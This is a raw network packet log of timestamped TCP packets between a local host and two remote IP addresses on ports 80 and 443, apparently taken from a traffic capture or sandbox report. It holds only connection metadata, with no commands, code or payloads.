Nov 1, 2024 03:46:20.772557974 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.772598028 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.772609949 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.772641897 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.805577993 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.805593014 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.805624008 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.805650949 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.805689096 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.805692911 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.805730104 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.805797100 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.805840969 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.805856943 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.805870056 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.805893898 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.805908918 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.806122065 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.806168079 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.806169033 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.806180000 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.806216955 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.810179949 CET	443	58528	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:20.810421944 CET	443	58528	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:20.810467958 CET	58528	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:20.810477972 CET	443	58528	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:20.810514927 CET	443	58528	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:20.810564041 CET	58528	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:20.810570955 CET	443	58528	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:20.810595036 CET	443	58528	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:20.810636044 CET	58528	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:20.810748100 CET	58528	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:20.810754061 CET	443	58528	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:20.810772896 CET	58528	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:20.810776949 CET	443	58528	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:20.889910936 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.889941931 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.889966011 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.889987946 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.890055895 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.890065908 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.890185118 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.890227079 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.890271902 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.890273094 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.890284061 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.890316010 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.890331030 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.890513897 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.890526056 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.890563965 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.890908003 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.890918970 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.890929937 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.890954018 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.890964985 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.891204119 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.891239882 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.891251087 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.891254902 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.891269922 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.891294003 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.924348116 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.924398899 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.924407005 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.924407959 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.924436092 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.924447060 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.924451113 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.924477100 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.924510002 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.924702883 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.924712896 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.924750090 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.924837112 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.924882889 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.924900055 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.924911022 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.924942017 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.924954891 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.965013027 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.965023994 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.965076923 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.987778902 CET	58529	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:20.987806082 CET	443	58529	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:20.987876892 CET	58529	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:20.988214016 CET	58529	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:20.988224983 CET	443	58529	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:21.008817911 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.008861065 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.008872986 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.008919954 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.008940935 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.009021044 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.009068966 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.009090900 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.009104967 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.009131908 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.009151936 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.009258032 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.009269953 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.009305000 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.009658098 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.009699106 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.009704113 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.009711027 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.009735107 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.009754896 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.009860039 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.009871006 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.009907007 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.043277025 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.043288946 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.043299913 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.043339968 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.043369055 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.043510914 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.043521881 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.043561935 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.043658018 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.043668985 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.043703079 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.043869972 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.043915033 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.125050068 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.125133038 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.125137091 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.125144958 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.125202894 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.127778053 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.127796888 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.127808094 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.127861023 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.127922058 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.128062963 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.128074884 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.128086090 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.128097057 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.128108978 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.128159046 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.128249884 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.128515959 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.128528118 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.128566980 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.128741980 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.128783941 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.128828049 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.128837109 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.128875971 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.369056940 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.369071007 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.369081974 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.369158030 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.369221926 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.369234085 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.369245052 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.369257927 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.369267941 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.369297981 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.369606018 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.369616985 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.369627953 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.369642973 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.369678020 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.370244026 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.370265961 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.370277882 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.370289087 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.370289087 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.370302916 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.370325089 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.370346069 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.370410919 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.370449066 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.370511055 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.370522976 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.370533943 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.370547056 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.370552063 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.370558977 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.370569944 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.370582104 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.370585918 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.370594025 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.370599985 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.370605946 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.370628119 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.370651007 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.371392965 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.371408939 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.371421099 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.371431112 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.371433020 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.371447086 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.371458054 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.371458054 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.371469975 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.371481895 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.371481895 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.371498108 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.371505022 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.371510983 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.371520996 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.371551037 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.372343063 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.372354984 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.372364998 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.372378111 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.372387886 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.372390032 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.372401953 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.372423887 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.372436047 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.372437000 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.372450113 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.372457981 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.372462034 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.372474909 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.372486115 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.372489929 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.372524023 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.373250008 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.373262882 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.373272896 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.373286009 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.373296022 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.373296976 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.373322964 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.373349905 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.375755072 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.375803947 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.375830889 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.375842094 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.375876904 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.375960112 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.375972033 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.375983000 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.376003027 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.376020908 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.399838924 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.399856091 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.399859905 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.399971962 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.400033951 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.400046110 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.400058031 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.400074959 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.400080919 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.400109053 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.400136948 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.400420904 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.400500059 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.441266060 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.441348076 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.441423893 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.441435099 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.441463947 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.441485882 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.481379986 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.481441975 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.481455088 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.481518030 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.481550932 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.483870983 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.483911037 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.483922005 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.483927011 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.483953953 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.484045982 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.484056950 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.484091997 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.484121084 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.484317064 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.484364986 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.484366894 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.484380007 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.484411955 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.484435081 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.484565020 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.484610081 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.484786987 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.484831095 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.484862089 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.484874010 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.484905005 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.484918118 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.485074997 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.485124111 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.485335112 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.485344887 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.485378981 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.485390902 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.518549919 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.518563986 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.518599987 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.518683910 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.518683910 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.518735886 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.518747091 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.518757105 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.518769979 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.518795013 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.519119978 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.519159079 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.519195080 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.519207001 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.519236088 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.519262075 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.559938908 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.559972048 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.559983969 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.559998989 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.560033083 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.560033083 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.560112953 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.560158014 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.560201883 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.560211897 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.560239077 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.560252905 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.600136042 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.600208044 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.600219011 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.600228071 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.600258112 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.602751970 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.602799892 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.602812052 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.602824926 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.602860928 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.602902889 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.602946043 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.603025913 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.603037119 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.603075027 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.603086948 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.603364944 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.603375912 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.603385925 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.603408098 CET	58527	80	192.168.2.6	185.215.113.16
